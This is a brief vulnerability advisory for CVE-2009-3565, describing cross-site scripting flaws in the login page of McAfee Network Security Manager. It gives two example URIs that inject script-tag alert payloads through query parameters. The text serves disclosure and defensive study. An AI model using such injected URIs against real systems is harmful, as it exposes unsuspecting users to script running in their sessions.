McAfee Network Security Manager < 5.1.11.8.1 - Multiple Cross-Site Scripting Vulnerabilities

Related Vulnerabilities: CVE-2009-3565  
Publish Date: 12 Nov 2009
Author: Daniel King
                Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.

The following example URIs are available:

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&amp;Login%2bID=&amp;node=&amp;iaction=precreatefcb14"&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;8b3283a1e57 

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&amp;Login%2bID=&amp;node=8502a"&gt;&lt;script&gt;alert(1)&lt;/script&gt;2aa99b60533&amp;iaction=precreatefcb14"&gt;&lt;script&gt;alert(â??XSSâ??)&lt;/script&gt;8b3283a1e57